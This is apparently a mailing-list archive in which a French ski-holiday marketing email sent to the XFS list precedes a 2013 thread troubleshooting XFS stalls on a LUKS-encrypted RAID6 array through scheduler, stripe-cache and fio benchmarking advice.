http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Finfos%252Dsejours%252Dhebergement%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fvacances%252Dski%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Finfos%252Dsejours%252Dactivites%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Finfos%252Dsejours%252Dformules%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : http://tracking.publicidees.com/clic.php?promoid=84216&progid=1730&partid=31069&url=http%3A%2F%2Fredirect.searchignite.com%2Fsi%2Fcm%2Ftracking%2FDGTrackingRedirect.aspx%3Fsiclientid%3D8406%26sisearchengine%3D567%26siproduct%3DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%255Fc%26siredirect%3Dhttp%253A%252F%252Fwww%252Epierreetvacances%252Ecom%252Ffr%252Dfr%252Fgarantie%252Dmeilleur%252Dprix%255Fms%253Futm%255Fsource%253Demail%2526utm%255Fmedium%253DCRM%2526utm%255Fcampaign%253DPVFR%255FH14%255Femail%255FNL%255Fecard%255Fil%255Fneige%255F211113%2526utm%255Fterm%253DH14%2526utm%255Fcontent%253Dc : https://my.pierreetvacances.com/newsletter/unsubscribe/?id=%3C%=%20recipient.pvcpID_CONTACT%20%%3E&email=%3C%=%20recipient.email%20%%3E&lang=fr&code=NL_PV * Offre valable pour un séjour 2 nuits minimum en réservant avant le 01/01/2014 inclus et pour des séjours avec arrivées à partir du 07/12/13 et jusqu’au 02/01/14 inclus. Valable sur l’hébergement seul (hors frais de dossier, prestations annexes et frais d’acheminement), en France sur une sélection de sites et typologies d’appartements des marques Maeva et Pierre & Vacances. Offre valable jusqu’à épuisement d’un stock d’appartements alloué à cet effet, non rétroactives et non cumulables avec toute autre offre promotionnelle ou réduction. (1) Pour un séjour du 21 au 28 décembre (7 nuits), vous avez la possibilité de séjourner dès le vendredi 20 décembre 2013, sans supplément tarifaire (sous réserve de disponibilité) * offre valable sur la sélection de résidences suivantes. (2) La semaine du 21/12,des forfaits enfant offerts dans la sélection de stations ski stations ski suivante : - Val d’Isère : 1 enfant (de 5 à 13 ans inclus) gratuit par forfait adulte payant - Espace Killy - Valmorel: 1 enfant (de 5 à 12 ans inclus) gratuit pour 1 adulte payant - Le Grand Domaine Tarentaise - Maurienne - La Plagne: 1 enfant (de 6 à 13 ans inclus) gratuit pour 2 adultes payants - Paradiski Découverte ou Illimité - Les Arcs: 1 enfant (de 6 à 11 ans inclus) gratuit par forfait adulte payant - Paradiski Découverte ou Illimité ou Domaine des Arcs PV-CP DISTRIBUTION, Société Anonyme au capital de 6.055.935€, dont le siège social est sis l'Artois, Espace Pont de Flandre - 11, rue de Cambrai 75947 Paris cedex 19, RCS Paris N°314 283 326 - Licence d'agence de voyage n°LI075950182 - Garantie financière : B.E.S.V. - R.C.P. : AXA. Crédits photos: © Pierre & Vacances. Cet email vous est adressé par la Société Neezz, dont le siège social est situé 2, Place Louis Pradel 69001 Lyon et immatriculée au RCS de Lyon sous le numéro B 533 030 698. ========================================== Ce courriel a été envoyé par Pierre & Vacances par Nl-Promos à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=989208b0&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=989208b0&ln=fr --b1_9c8bce4974ad41f45fd6942020219f44 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Pierre & Vacances
    Passez un noël féérique à la montagne : jusqu'à -40% sur votre séjour! Profitez-en vite !
    Pierre & Vacances
    Accueil Destination Thématiques Dernières minutes Guide pratique Mon espace
    cover_noel
    Nos coups de cœur pour les fêtes
    avoriaz arc1950 belle plagne
    1736€ 2170€
    Appartement 2 pièces 4/5 pers.
    La semaine du 21/12
    1744€ 2180€
    Appartement 2 pièces 4 pers.
    La semaine du 21/12
    903€ 1290€
    Studio 4/5 pers.
    La semaine du 21/12
    > Je réserve > Je réserve > Je réserve  
    plagne Saskia Falaise La Marelle et le Rami
    968€ 1290€
    Appartement 2 pièces 4 pers.
    La semaine du 21/12
    1155€ 1470€
    Studio 4 pers.
    La semaine du 21/12
    945€ 1350€
    Appartement 2 pièces 4 pers.
    La semaine du 21/12
    > Je réserve >Je réserve > Je réserve
    decouvrir nos destinations
    Votre Noël parmi nous
    Visite du père Noël Menus spécial réveillon
    Distribution de cadeaux par le Père Noël,
    dans les appartements ou dans le salon de réception
    le 24/12 au soir et le 25/12.
    Offrez un moment magique à vos enfants !
    En savoir +

    Profitez de la fête le 24 décembre
    autour de menus exceptionnels et de soirées animées
    sans rien préparer!
     
     
    En savoir +
    Skiset de Noël - Jusqu'à -40% sur votre matériel de ski Une nuit offerte Remontées mécaniques GRATUITES pour les enfants Garantie neige offerte
    Infos & Réservations Restez connecté Mon Espace
    facebook twitter blog youtube Pinterest
    0892 70 21 80
    (0,34 € TTC/min)
    Lundi - Vendredi : 9h-19h
    Samedi & Dimanche : 9h-17h
    - Mes réservations
    - Mes offres du moment
    - Mes newsletters
    On a pensé à tout, surtout à vous
    L'accueil Les services L'emplacement
    Les clubs enfants Le choix du séjour Les garanties prix
    * Offre valable pour un séjour 2 nuits minimum en réservant avant le 01/01/2014 inclus et pour des séjours avec arrivées à partir du 07/12/13 et jusqu’au 02/01/14 inclus. Valable sur l’hébergement seul (hors frais de dossier, prestations annexes et frais d’acheminement), en France sur une sélection de sites et typologies d’appartements des marques Maeva et Pierre & Vacances. Offre valable jusqu’à épuisement d’un stock d’appartements alloué à cet effet, non rétroactives et non cumulables avec toute autre offre promotionnelle ou réduction.

    (1) Pour un séjour du 21 au 28 décembre (7 nuits), vous avez la possibilité de séjourner dès le vendredi 20 décembre 2013, sans supplément tarifaire (sous réserve de disponibilité) * offre valable sur la sélection de résidences suivantes.

    (2) L a semaine du 21/12,des forfaits enfant offerts dans la sélection de stations ski stations ski suivante :
    - Val d’Isère : 1 enfant (de 5 à 13 ans inclus) gratuit par forfait adulte payant - Espace Killy
    - Valmorel: 1 enfant (de 5 à 12 ans inclus) gratuit pour 1 adulte payant - Le Grand Domaine Tarentaise - Maurienne
    - La Plagne: 1 enfant (de 6 à 13 ans inclus) gratuit pour 2 adultes payants - Paradiski Découverte ou Illimité
    - Les Arcs: 1 enfant (de 6 à 11 ans inclus) gratuit par forfait adulte payant - Paradiski Découverte ou Illimité ou Domaine des Arcs

     


    PV-CP DISTRIBUTION, Société Anonyme au capital de 6.055.935€, dont le siège social est sis l'Artois, Espace Pont de Flandre - 11, rue de Cambrai 75947 Paris cedex 19, RCS Paris N°314 283 326 - Licence d'agence de voyage n°LI075950182 - Garantie financière : B.E.S.V. - R.C.P. : AXA. Crédits photos: © Pierre & Vacances.


    Cet email vous est adressé par la Société Neezz, dont le siège social est situé 2, Place Louis Pradel 69001 Lyon et immatriculée au RCS de Lyon sous le numéro B 533 030 698.

    Ce courriel a été envoyé par Pierre & Vacances par Nl-Promos à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_9c8bce4974ad41f45fd6942020219f44-- From xfs@pzystorm.de Fri Dec 20 04:29:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CCC1F29DF8 for ; Fri, 20 Dec 2013 04:29:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B5F908F8064 for ; Fri, 20 Dec 2013 02:29:23 -0800 (PST) X-ASG-Debug-ID: 1387535357-04cbb0416885e170001-NocioJ Received: from mail.pzystorm.de (mail.pzystorm.de [147.172.2.110]) by cuda.sgi.com with ESMTP id Z0A4nUGznGlboJ3I (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 02:29:18 -0800 (PST) X-Barracuda-Envelope-From: xfs@pzystorm.de X-Barracuda-Apparent-Source-IP: 147.172.2.110 Received: from [147.172.250.17] by mail.pzystorm.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1VtxKU-0000Pa-L8; Fri, 20 Dec 2013 11:29:14 +0100 Message-ID: <52B41B67.9030308@pzystorm.de> Date: Fri, 20 Dec 2013 11:26:47 +0100 From: Kevin Richter Reply-To: xfs@pzystorm.de MIME-Version: 1.0 To: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B2FE9E.50307@hardwarefreak.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.pzystorm.de[147.172.2.110] X-Barracuda-Start-Time: 1387535357 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143250 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks a lot for your huge replies! > Oh, that's quite old. I'd suggest upgrading to a much more recent > kernel as we've fixed lots of issues in this area since then. First I have switched to the newer kernel from Ubuntu Saucy: $ uname -a Linux 3.11.0-14-generic #21~precise1-Ubuntu SMP Thus, it seems that the default scheduler has been changed to deadline. I did not change anything. After a reboot the schedulers of all disks are now deadline. > Model # of the CPUs so I can look up the specs? Intel(R) Xeon(R) CPU E5-2609 0 @ 2.40GHz I have prepared a folder with 60GB for the tests. This is nearly twice of the available memory, so the process should be forced to actually write the stuff to the disk - and not only hold in the memory. > $ echo 256 > /sys/block/md2/md/stripe_cache_size > $ time cp -a /olddisk/testfolder /6tb/foo1/ > real 25m38.925s > user 0m0.595s > sys 1m23.182s > > $ echo 1024 > /sys/block/md2/md/stripe_cache_size > $ time cp -a /olddisk/testfolder /raid/foo2/ > real 7m32.824s > user 0m0.438s > sys 1m6.759s > > $ echo 2048 > /sys/block/md2/md/stripe_cache_size > $ time cp -a /olddisk/testfolder /raid/foo3/ > real 5m32.847s > user 0m0.418s > sys 1m5.671s > > $ echo 4096 > /sys/block/md2/md/stripe_cache_size > $ time cp -a /olddisk/testfolder /raid/foo4/ > real 5m54.554s > user 0m0.437s > sys 1m6.268s The difference is really amazing! So 2048 seems to be the best choice. 60GB in 5,5minutes are 180MB/sek. That sounds a bit high, doesnt it? The RAID only consist of 5 SATA disks with 7200rpm. 'top' while copying with stripe size of 2048 (the source disk is ntfs): > top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 > Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie > Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st > Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers > Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached > > PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND > 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 > 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 > 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 > 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 > 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs > 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 > 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp > 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 > 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 > 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 > 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 And the best thing at all: While all of these tests there are no warnings/panics in the syslog. With best regards, Kevin Am 19.12.2013 15:11, schrieb Stan Hoeppner: > On 12/18/2013 4:27 AM, Kevin Richter wrote: >> Thanks for your mails! >> >>> This is unusual. How long have you waited? >> >> For the reboot? One night. >> After the copy process hangs: several hours. But mostly it recovers >> after several minutes. >> >>> 1. Switch to deadline. CFQ is not suitable for RAID storage, and not >>> suitable for XFS. This may not be a silver bullet but it will help. >> >> Can I switch it while my copy process (from a separate hd to this raid) >> is running... without data loss? Otherwise I would wait a bit, because >> now it is actually running for 8 hours without kernel panics. > > Yes, you can safely change the elevator on the fly. Repeat the > following once for each disk, replacing X appropriately. > > $ echo deadline > /sys/block/sdX/queue/scheduler > > This on the fly change is not permanent. Add "elevator=deadline" to > your kernel command line in your bootloader config file. Or you can add > the commands to a startup script. Or if you build your own kernels > simply make it the default, and/or remove all the other elevators from > your kernel config, which is what I do. > >>> 2. Post your chunk size and RAID6 stripe_cache_size value. They may be >>> sub optimal for your workload. >> >> $ cat /sys/block/md2/md/stripe_cache_size >> 256 > > 256 is the default and it is way too low. This is limiting your write > througput. Increase this to a minimum of 1024 which will give you a > 20MB stripe cache buffer. This should become active immediately. Add > it to a startup script to make it permanent. > > $ echo 1024 > /sys/block/md2/md/stripe_cache_size > > ((4096*stripe-cache_size)*num_drives)= RAM consumed for stripe cache > > At some future point when the system is idle, play with FIO write > testing and multiple jobs (threads) with stripe_cache_size values up to > 2048 to see which value gives the best throughput. Test 1024, 2048, > 4096. Going higher probably won't gain anything. And at some point as > you go higher your throughput will decrease. When you see that, select > the previous value and make it permanent. > >> $ mdadm --detail /dev/md2 | grep Chunk >> Chunk Size : 512K >> >>> 3. Post 'xfs_info /dev/mdX' >> >> There is a LUKS volume around /dev/md2, named '6tb'. > > Ok, this adds a huge fly to the ointment. LUKS is single threaded per > device. You've encrypted the md device instead of the individual disks. > This limits your encryption throughput to a single CPU core. You've > not provided any data on your LUKS thread. Is it pegging a core during > large file IO? I'd bet it is. That would explain all of this. > >>> $ xfs_info /dev/md2 >>> xfs_info: /dev/md2 is not a mounted XFS filesystem >>> $ xfs_info /dev/mapper/6tb >>> meta-data=/dev/mapper/6tb isize=256 agcount=32, agsize=45631360 blks >>> = sectsz=512 attr=2 >>> data = bsize=4096 blocks=1460203520, imaxpct=5 >>> = sunit=128 swidth=384 blks >>> naming =version 2 bsize=4096 ascii-ci=0 >>> log =internal bsize=4096 blocks=521728, version=2 >>> = sectsz=512 sunit=8 blks, lazy-count=1 >>> realtime =none extsz=4096 blocks=0, rtextents=0 > > md2 is 5 spindle RAID6, geometry 512KB * 3 = 1.5MB stripe width. The > XFS alignment matches the md device. This may be hurting you with LUKS > between XFS and md. I don't know how LUKS handles 1.5MB inbound writes > and if it passes an aligned write to md after encrypting. I also don't > know how it handles writes barriers passed down the stack by XFS, or if > it does at all. > >>> 4. You're getting a lot of kswapd timeouts because you have swap and >>> the md/RAID6 array on the same disks. Relocate swap to disks that are >>> not part of this RAID6. Small SSDs are cheap and fast. Buy one and put >>> swap on it. Or install more RAM in the machine. Going the SSD route is >>> better as it gives flexibility. For instance, you can also relocate >>> your syslog files to it and anything else that does IO without eating >>> lots of space. This decreases the IOPS load on your rust. >> >> No no, swap is not on any of the raid disks. >> >>> # cat /proc/swaps >>> Filename Type Size Used Priority >>> /dev/sda3 partition 7812496 0 -1 >> sda is not in the raid. In the raid there are sd[cdefg]. > > I was wrong here. After reading a little about kswapd I now know it > doesn't simply move pages to/from disk. It frees memory in other ways > as well. In this case it's apparently waiting to free an inode being > reclaimed by xfs_reclaim_inode, which is stalled on lower level IO. So > kswapd times out as a result. A slow LUKS thread would explain this as > well. > >>> 5. Describe in some detail the workload(s) causing the heavy IO, and >>> thus these timeouts. >> >> cd /olddharddisk >> cp -av . /raid/ >> >> oldhardddisk is a mounted 1tb old harddisk, /raid is the 6tb raid from >> above. > > So you are simply doing a huge file copy from an apparently slower > single disk to an apparently faster striped RAID. But you get horrible > throughput and kernel timeout errors, and the RAID disks are apparently > fairly idle. > >> Heavy workload while this copy process (2 CPUs, each 4 cores): > > Model # of the CPUs so I can look up the specs? > >>> top - 11:13:37 up 4 days, 21:32, 2 users, load average: 12.95, 11.33, 10.32 >>> Tasks: 155 total, 2 running, 153 sleeping, 0 stopped, 0 zombie >>> Cpu(s): 0.0%us, 5.7%sy, 0.0%ni, 82.1%id, 11.8%wa, 0.0%hi, 0.3%si, 0.0%st >>> Mem: 32916276k total, 32750240k used, 166036k free, 10076760k buffers >>> Swap: 7812496k total, 0k used, 7812496k free, 21221136k cached >>> >>> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >>> 699 root 20 0 0 0 0 S 11 0.0 248:17.59 md2_raid6 >> >> Dont know what consumes all of this 32GB RAM... 'top' sorted by memory >> consumption does not tell me. All entries are only 0.0% and 0.1% > > ~30GB of your RAM is being eaten by filesystem metadata buffers (10GB) > and page cache (20GB). Linux uses nearly all free memory for cache and > buffers to prevent disk accesses, which speeds up access to frequently > used data considerably. This is normal. A huge copy like this is going > to cause a huge amount caching. > > I assume this 1TB file copy has finally completed. Start another large > test copy and paste the CPU burn for the LUKS thread so we can confirm > whether this is the root cause of your problem. > From stan@hardwarefreak.com Fri Dec 20 06:36:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2460D29DF8 for ; Fri, 20 Dec 2013 06:36:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 102AA304089 for ; Fri, 20 Dec 2013 04:36:26 -0800 (PST) X-ASG-Debug-ID: 1387542985-04cb6c537d86adf0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id j398hlXyZ54s3nGg for ; Fri, 20 Dec 2013 04:36:26 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 981A76C15C; Fri, 20 Dec 2013 06:36:25 -0600 (CST) Message-ID: <52B439D1.3020205@hardwarefreak.com> Date: Fri, 20 Dec 2013 06:36:33 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@pzystorm.de, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B41B67.9030308@pzystorm.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387542986 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/20/2013 4:26 AM, Kevin Richter wrote: > Thanks a lot for your huge replies! You're welcome. >> Oh, that's quite old. I'd suggest upgrading to a much more recent >> kernel as we've fixed lots of issues in this area since then. > > First I have switched to the newer kernel from Ubuntu Saucy: > $ uname -a > Linux 3.11.0-14-generic #21~precise1-Ubuntu SMP > > Thus, it seems that the default scheduler has been changed to deadline. > I did not change anything. After a reboot the schedulers of all disks > are now deadline. Good move Ubuntu. >> Model # of the CPUs so I can look up the specs? > Intel(R) Xeon(R) CPU E5-2609 0 @ 2.40GHz Strong CPUs. > I have prepared a folder with 60GB for the tests. This is nearly twice > of the available memory, so the process should be forced to actually > write the stuff to the disk - and not only hold in the memory. > >> $ echo 256 > /sys/block/md2/md/stripe_cache_size >> $ time cp -a /olddisk/testfolder /6tb/foo1/ >> real 25m38.925s >> user 0m0.595s >> sys 1m23.182s >> >> $ echo 1024 > /sys/block/md2/md/stripe_cache_size >> $ time cp -a /olddisk/testfolder /raid/foo2/ >> real 7m32.824s >> user 0m0.438s >> sys 1m6.759s >> >> $ echo 2048 > /sys/block/md2/md/stripe_cache_size >> $ time cp -a /olddisk/testfolder /raid/foo3/ >> real 5m32.847s >> user 0m0.418s >> sys 1m5.671s >> >> $ echo 4096 > /sys/block/md2/md/stripe_cache_size >> $ time cp -a /olddisk/testfolder /raid/foo4/ >> real 5m54.554s >> user 0m0.437s >> sys 1m6.268s > > The difference is really amazing! So 2048 seems to be the best choice. > 60GB in 5,5minutes are 180MB/sek. That sounds a bit high, doesnt it? > The RAID only consist of 5 SATA disks with 7200rpm. A lot of the source data is being cached between runs so these numbers aren't accurate. The throughput of this copy operation will be limited by the speed of the single source disk, not the array. To make the elapsed times of this copy test accurate you need to execute something like these commands after each run: # sync # echo 3 > /proc/sys/vm/drop_caches But this copy test will not inform you about the potential peak performance of your array. That's why I suggested you test with FIO, the flexible IO tester. # aptitude install fio # man fio Sample job file suitable for your system: [global] directory=/your/XFS/test/directory zero_buffers numjobs=8 group_reporting blocksize=512k ioengine=libaio iodepth=16 direct=1 size=10g [read] rw=read stonewall [write] rw=write stonewall This should give you a relatively accurate picture of the actual potential throughput of your array and filesystem. > 'top' while copying with stripe size of 2048 (the source disk is ntfs): >> top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 >> Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie >> Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st >> Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers >> Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached >> >> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >> 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 >> 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 >> 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 >> 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 >> 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs >> 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 >> 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp >> 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 >> 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 >> 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 >> 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 Hmm, what's kworker/3:1? That's not a crypto thread eating 93% of a SandyBridge core at only ~180 MB/s throughput is it? > And the best thing at all: > While all of these tests there are no warnings/panics in the syslog. > > With best regards, > Kevin Even though XFS wasn't the cause of the problem I'm glad we were able to help you fix it nonetheless. I'm really curious to see what kind of throughput you can achieve with FIO, and whether crypto is a bottleneck at the 250-350 MB/s your array should be capable of. It would be great if you would play around a bit with FIO and post some numbers. -- Stan > Am 19.12.2013 15:11, schrieb Stan Hoeppner: >> On 12/18/2013 4:27 AM, Kevin Richter wrote: >>> Thanks for your mails! >>> >>>> This is unusual. How long have you waited? >>> >>> For the reboot? One night. >>> After the copy process hangs: several hours. But mostly it recovers >>> after several minutes. >>> >>>> 1. Switch to deadline. CFQ is not suitable for RAID storage, and not >>>> suitable for XFS. This may not be a silver bullet but it will help. >>> >>> Can I switch it while my copy process (from a separate hd to this raid) >>> is running... without data loss? Otherwise I would wait a bit, because >>> now it is actually running for 8 hours without kernel panics. >> >> Yes, you can safely change the elevator on the fly. Repeat the >> following once for each disk, replacing X appropriately. >> >> $ echo deadline > /sys/block/sdX/queue/scheduler >> >> This on the fly change is not permanent. Add "elevator=deadline" to >> your kernel command line in your bootloader config file. Or you can add >> the commands to a startup script. Or if you build your own kernels >> simply make it the default, and/or remove all the other elevators from >> your kernel config, which is what I do. >> >>>> 2. Post your chunk size and RAID6 stripe_cache_size value. They may be >>>> sub optimal for your workload. >>> >>> $ cat /sys/block/md2/md/stripe_cache_size >>> 256 >> >> 256 is the default and it is way too low. This is limiting your write >> througput. Increase this to a minimum of 1024 which will give you a >> 20MB stripe cache buffer. This should become active immediately. Add >> it to a startup script to make it permanent. >> >> $ echo 1024 > /sys/block/md2/md/stripe_cache_size >> >> ((4096*stripe-cache_size)*num_drives)= RAM consumed for stripe cache >> >> At some future point when the system is idle, play with FIO write >> testing and multiple jobs (threads) with stripe_cache_size values up to >> 2048 to see which value gives the best throughput. Test 1024, 2048, >> 4096. Going higher probably won't gain anything. And at some point as >> you go higher your throughput will decrease. When you see that, select >> the previous value and make it permanent. >> >>> $ mdadm --detail /dev/md2 | grep Chunk >>> Chunk Size : 512K >>> >>>> 3. Post 'xfs_info /dev/mdX' >>> >>> There is a LUKS volume around /dev/md2, named '6tb'. >> >> Ok, this adds a huge fly to the ointment. LUKS is single threaded per >> device. You've encrypted the md device instead of the individual disks. >> This limits your encryption throughput to a single CPU core. You've >> not provided any data on your LUKS thread. Is it pegging a core during >> large file IO? I'd bet it is. That would explain all of this. >> >>>> $ xfs_info /dev/md2 >>>> xfs_info: /dev/md2 is not a mounted XFS filesystem >>>> $ xfs_info /dev/mapper/6tb >>>> meta-data=/dev/mapper/6tb isize=256 agcount=32, agsize=45631360 blks >>>> = sectsz=512 attr=2 >>>> data = bsize=4096 blocks=1460203520, imaxpct=5 >>>> = sunit=128 swidth=384 blks >>>> naming =version 2 bsize=4096 ascii-ci=0 